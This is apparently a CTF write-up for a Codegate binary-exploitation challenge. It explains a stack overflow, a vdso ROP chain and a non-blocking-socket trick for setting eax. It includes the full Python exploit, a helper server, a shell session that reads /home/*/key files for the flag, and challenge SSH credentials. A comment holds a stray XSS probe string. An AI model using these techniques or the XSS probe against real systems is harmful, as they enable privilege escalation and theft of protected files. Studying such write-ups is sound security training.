□ description
==========================================
ssh guest@58.229.183.14 / ExtremelyDangerousGuest
ssh guest@58.229.183.15 / ExtremelyDangerousGuest==========================================
□ number of solvers : 15
□ breakthrough by
1 : More Smoked Leet Chicken (02/23 02:38)
2 : Hexcellents (02/23 02:42)
3 : ppp (02/23 03:16)
The binary is statically linked and contains very few code. It’s using mmap to create new stack and then a function which tends to check a passcode is obviously vulnerable to overflow:
int sub_80480FA() { int v4; // [sp+0h] [bp-10h]@1 v0 = sys_write(1, "passcode: ", 0xAu); v1 = sys_read(0, &v4, 0x1000u); v2 = sys_close(0); return sys_write(1, "checking...\n", 0xCu); } |
So we can easily make a ROP chain. The problem is – we have very few gadgets. There are lots of int 0x80
calls but we can’t control registers!
If you look maps, you’ll see that there’s also vdso mapped somewhere in memory. We can use ulimit -s unlimited
trick to fix its location (it disables ASLR of libraries). But vdso has very few gadgets too:
ffffe400 <__kernel_sigreturn>: ffffe400: 58 pop %eax ffffe401: b8 77 00 00 00 mov $0x77,%eax ffffe406: cd 80 int $0x80 ffffe408: 90 nop ffffe409: 8d 76 00 lea 0x0(%esi),%esi ffffe40c <__kernel_rt_sigreturn>: ffffe40c: b8 ad 00 00 00 mov $0xad,%eax ffffe411: cd 80 int $0x80 ffffe413: 90 nop ffffe414 <__kernel_vsyscall>: ffffe414: 51 push %ecx ffffe415: 52 push %edx ffffe416: 55 push %ebp ffffe417: 89 e5 mov %esp,%ebp ffffe419: 0f 34 sysenter ffffe41b: 90 nop ffffe41c: 90 nop ffffe41d: 90 nop ffffe41e: 90 nop ffffe41f: 90 nop ffffe420: 90 nop ffffe421: 90 nop ffffe422: cd 80 int $0x80 ffffe424: 5d pop %ebp ffffe425: 5a pop %edx ffffe426: 59 pop %ecx ffffe427: c3 ret |
Pop-pop-ret gadgets seems cool, now we can control 2nd and 3rd arguments for syscalls! But what about syscall number (eax) and 1st argument (ebx)?
return sys_write(1, "checking...\n", 0xCu);
Eax will hold the result of call to sys_write. Can we control it? Actually, yes. We can create a socket, fill it’s buffers, make it non-blocking and pass as it as stdout to the program. Thus calls to write will not be able to write everything and they will return the actual count of written data (I tried the same trick with pipes but in this case writes return either -1 EAGAIN (Resource temporarily unavailable)
or the whole length).
Now we can call any syscall with number 1-12. Execve? We still don’t control first argument which is crucial for execve. There is some interesting gadget which makes ebx some pointer:
.text:080480B4 lea ebx, unk_8049150 .text:080480BA int 80h ; LINUX - old_mmap |
But sadly this pointer points to zeros, so we can’t use it in execve. So let’s write something there!
We’ll use this gadget to make sys_read call from fd=1 (which is still our socket) (reading from stdout, hah):
.text:08048143 mov ebx, 1 ; fd .text:08048148 int 80h ; LINUX - sys_write .text:0804814A add esp, 10h .text:0804814D retn |
Then since we control ecx (**argv) we can craft any command. But since this is local challenge, let’s put there zeroes and just exec our stuff.
Here’s code:
import sys import time import socket from struct import pack from subprocess import Popen, PIPE out_in = socket.socket(socket.AF_INET, socket.SOCK_STREAM) out_in.connect(("127.0.0.1", 3123)) out_in.setblocking(0) # wait for command from server cached in buffers # codegate servers were highly loaded so needed 5 seconds to be sure # otherwise 1 second is enough time.sleep(3.0) fake_len = eval(sys.argv[1]) out_in.sendall("A" * fake_len) p = Popen("strace ./minibomb", shell=True, stdin=PIPE, stdout=out_in) pay = "A" * 16 pay += pack("<I", 0x40000425) # pop edx, ecx, ret pay += pack("<I", 0x11) # edx (num read) pay += pack("<I", 0x08049150) # ecx = buf # now eax = 3 pay += pack("<I", 0x8048143) # ebx=1, int 0x80, add esp, 0x10; ret pay += "A" * 16 # now eax = 11 pay += pack("<I", 0x40000425) # pop edx, ecx, ret pay += pack("<I", 0) # edx (argv) pay += pack("<I", 0) # ecx (env) pay += pack("<I", 0x080480B4) # ebx=0x08049150, int 0x80 p.stdin.write(pay) time.sleep(200) |
And server:
import time import socket f = socket.socket(socket.AF_INET, socket.SOCK_STREAM) f.bind(("0.0.0.0", 3123)) f.listen(100) while True: s, ts = f.accept() s.sendall("id".ljust(11, "\x00")) time.sleep(10) s.close() |
The weird problem occured with buffer’s size – it depended on many stuff (local or remote socket, etc.) so every time I searched good fake_len with binary search: test something large (like 4096 * 32 * 20) and if socket.error: [Errno 11] Resource temporarily unavailable
error occured, than divide it by two, etc.
Strace is there for debug purposes, if running on suid binary – remove it.
guest@notroot-virtual-machine:/tmp/mb$ ln -s /home/minibomb/minibomb ./ guest@notroot-virtual-machine:/tmp/mb$ export PATH=".:$PATH" guest@notroot-virtual-machine:/tmp/mb$ cat >id #!/bin/bash -p cat /home/*/key >flaaag guest@notroot-virtual-machine:/tmp/mb$ chmod +x id guest@notroot-virtual-machine:/tmp/mb$ ulimit -s unlimited guest@notroot-virtual-machine:/tmp/mb$ python exp.py '4096 * 32 * 10 + 4096 * 12 + 512 + 256 + 128 + 32 + 16 + 16 + 128 + 64 + 256 - 13' cat: /home/4stone/key: Permission denied cat: /home/hypercat/key: Permission denied cat: /home/membership/key: Permission denied ^CTraceback (most recent call last): File "exp.py", line 43, in <module> time.sleep(200) KeyboardInterrupt guest@notroot-virtual-machine:/tmp/mb$ cat flaaag Do_Yox_H4VE_r3dBULL |
12 comments
Skip to comment form
Great post! Sorry if this is a n00b question, but what did you use to get the source code for the binary? I just started doing CTFs and am still very novice…
Author
It’s IDA hexrays. Well, for this challenge hexrays is not needed at all, code is really simple.
ty, that’s very helpful! will have to learn to use it for my next CTF
Thanks for good write-up! I have a question. Could you explain again how set the EAX register value? I don’t understand that why EAX value is 3 in first ROP call.
Author
We bind stdout to our socket before execution and fill socket’s buffers, so sys_write(1, “checking…\n”, 0xCu) can’t write all 12 bytes (buffers are full). Buffer is filled up to BUF_SIZE – len(“passcode: “) – 3 so this write will be able to write only 3 bytes.
reading through stdout, setting eax by using non-blocking sockets — thank you, this is awesome!
“>alert(‘XSS’)
thanks awesome write-up !!
hi! Thanks to your awesome write up!
I have a question.
when read() function read buffer, It print “Resource temporarily unavailable” .
how I can solve it? T_T
Author
You need to find right “fake_len” parameter with binary search (dihotomy).
Yes. I found it. and I succeed to make return value of write() 3.
I am saying about second read().
I heard that It’s because I am using a non-blocking socket and the output buffer is full.
I can’t fix this! T-T
Author
It’s strange. The second read gets just the command for bash and the read buffer of that file descriptor is not ful. Maybe the command has not been already sent and cached to the buffer? You can try to increase time.sleep(3.0) timer. Also try to write “id\n” to socket and maybe even make socket.shut_wr() after sending.